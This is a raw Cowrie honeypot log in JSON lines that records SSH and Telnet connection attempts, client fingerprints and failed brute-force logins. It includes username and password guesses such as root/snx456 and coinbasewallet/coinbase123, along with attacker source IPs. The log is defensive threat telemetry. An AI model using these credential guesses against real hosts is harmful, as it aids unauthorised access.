{"eventid":"cowrie.session.connect","src_ip":"162.241.129.208","src_port":51040,"dst_ip":"159.203.135.109","dst_port":22,"session":"ef81aa954568","protocol":"ssh","message":"New connection: 162.241.129.208:51040 (159.203.135.109:22) [session: ef81aa954568]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:02:39.580327Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:02:39.584511Z","src_ip":"162.241.129.208","session":"ef81aa954568","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:02:39.606844Z","src_ip":"162.241.129.208","session":"ef81aa954568","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vrt","password":"vrt456","message":"login attempt [vrt/vrt456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:02:39.677324Z","src_ip":"162.241.129.208","session":"ef81aa954568","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:02:40.703472Z","src_ip":"162.241.129.208","session":"ef81aa954568","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.163.176.54","src_port":51982,"dst_ip":"159.203.135.109","dst_port":22,"session":"bf10c5ae71de","protocol":"ssh","message":"New connection: 69.163.176.54:51982 (159.203.135.109:22) [session: bf10c5ae71de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:02:46.735160Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:02:46.739533Z","src_ip":"69.163.176.54","session":"bf10c5ae71de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:02:46.810335Z","src_ip":"69.163.176.54","session":"bf10c5ae71de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"snx456","message":"login attempt [root/snx456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:02:47.025179Z","src_ip":"69.163.176.54","session":"bf10c5ae71de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:02:48.098204Z","src_ip":"69.163.176.54","session":"bf10c5ae71de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":26.563812971115112,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:02:57.642544Z","src_ip":"170.64.224.25","session":"78e1e154e03f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"101.126.22.12","src_port":52978,"dst_ip":"159.203.135.109","dst_port":22,"session":"d52779d01c7e","protocol":"ssh","message":"New connection: 101.126.22.12:52978 (159.203.135.109:22) [session: d52779d01c7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:03:00.691262Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:03:02.094667Z","src_ip":"101.126.22.12","session":"d52779d01c7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:03:02.098632Z","src_ip":"101.126.22.12","session":"d52779d01c7e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"132.148.155.138","src_port":52302,"dst_ip":"159.203.135.109","dst_port":22,"session":"fe5e4bc72293","protocol":"ssh","message":"New connection: 132.148.155.138:52302 (159.203.135.109:22) [session: fe5e4bc72293]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:03:30.458936Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:03:30.463571Z","src_ip":"132.148.155.138","session":"fe5e4bc72293","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:03:30.528599Z","src_ip":"132.148.155.138","session":"fe5e4bc72293","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"coinbasewallet","password":"coinbase123","message":"login attempt [coinbasewallet/coinbase123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:03:30.735243Z","src_ip":"132.148.155.138","session":"fe5e4bc72293","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:03:31.803819Z","src_ip":"132.148.155.138","session":"fe5e4bc72293","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.88.42.180","src_port":56252,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf67d4fc166a","protocol":"ssh","message":"New connection: 23.88.42.180:56252 (10.17.0.5:22) [session: bf67d4fc166a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:03:56.266605Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:03:56.270678Z","src_ip":"23.88.42.180","session":"bf67d4fc166a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:03:56.366421Z","src_ip":"23.88.42.180","session":"bf67d4fc166a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"metaverse123","password":"metaverse2024","message":"login attempt [metaverse123/metaverse2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:03:56.656428Z","src_ip":"23.88.42.180","session":"bf67d4fc166a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:03:57.754840Z","src_ip":"23.88.42.180","session":"bf67d4fc166a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.130.227.33","src_port":36140,"dst_ip":"10.17.0.5","dst_port":22,"session":"635eef2f3867","protocol":"ssh","message":"New connection: 95.130.227.33:36140 (10.17.0.5:22) [session: 635eef2f3867]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:03:57.921926Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:03:57.925479Z","src_ip":"95.130.227.33","session":"635eef2f3867","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:03:58.087424Z","src_ip":"95.130.227.33","session":"635eef2f3867","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Lx123456","message":"login attempt [root/Lx123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:03:58.760568Z","src_ip":"95.130.227.33","session":"635eef2f3867","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:03:59.922906Z","src_ip":"95.130.227.33","session":"635eef2f3867","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"191.7.26.153","src_port":47888,"dst_ip":"159.203.135.109","dst_port":22,"session":"0dc02102cda9","protocol":"ssh","message":"New connection: 191.7.26.153:47888 (159.203.135.109:22) [session: 0dc02102cda9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:04:00.480074Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:04:00.485077Z","src_ip":"191.7.26.153","session":"0dc02102cda9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:04:00.603685Z","src_ip":"191.7.26.153","session":"0dc02102cda9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sara","password":"123456","message":"login attempt [sara/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:04:01.101545Z","src_ip":"191.7.26.153","session":"0dc02102cda9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:04:02.227761Z","src_ip":"191.7.26.153","session":"0dc02102cda9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.192.25.149","src_port":56682,"dst_ip":"10.17.0.5","dst_port":22,"session":"7487efab8799","protocol":"ssh","message":"New connection: 199.192.25.149:56682 (10.17.0.5:22) [session: 7487efab8799]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:04:04.901091Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:04:04.905157Z","src_ip":"199.192.25.149","session":"7487efab8799","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:04:04.971543Z","src_ip":"199.192.25.149","session":"7487efab8799","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"base","password":"base123","message":"login attempt [base/base123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:04:05.170939Z","src_ip":"199.192.25.149","session":"7487efab8799","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:04:06.239091Z","src_ip":"199.192.25.149","session":"7487efab8799","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.198.154.150","src_port":41448,"dst_ip":"159.203.135.109","dst_port":23,"session":"c877118b3760","protocol":"telnet","message":"New connection: 143.198.154.150:41448 (159.203.135.109:23) [session: c877118b3760]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:04:08.790911Z"}
{"eventid":"cowrie.session.closed","duration":10.64431118965149,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:04:19.435095Z","src_ip":"143.198.154.150","session":"c877118b3760","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":41284,"dst_ip":"159.203.135.109","dst_port":23,"session":"a20d98e655cf","protocol":"telnet","message":"New connection: 170.64.224.25:41284 (159.203.135.109:23) [session: a20d98e655cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:04:20.575658Z"}
{"eventid":"cowrie.session.connect","src_ip":"181.218.9.86","src_port":38898,"dst_ip":"159.203.135.109","dst_port":22,"session":"764a19e117e2","protocol":"ssh","message":"New connection: 181.218.9.86:38898 (159.203.135.109:22) [session: 764a19e117e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:04:23.494892Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:04:23.498379Z","src_ip":"181.218.9.86","session":"764a19e117e2","protocol":"ssh"}
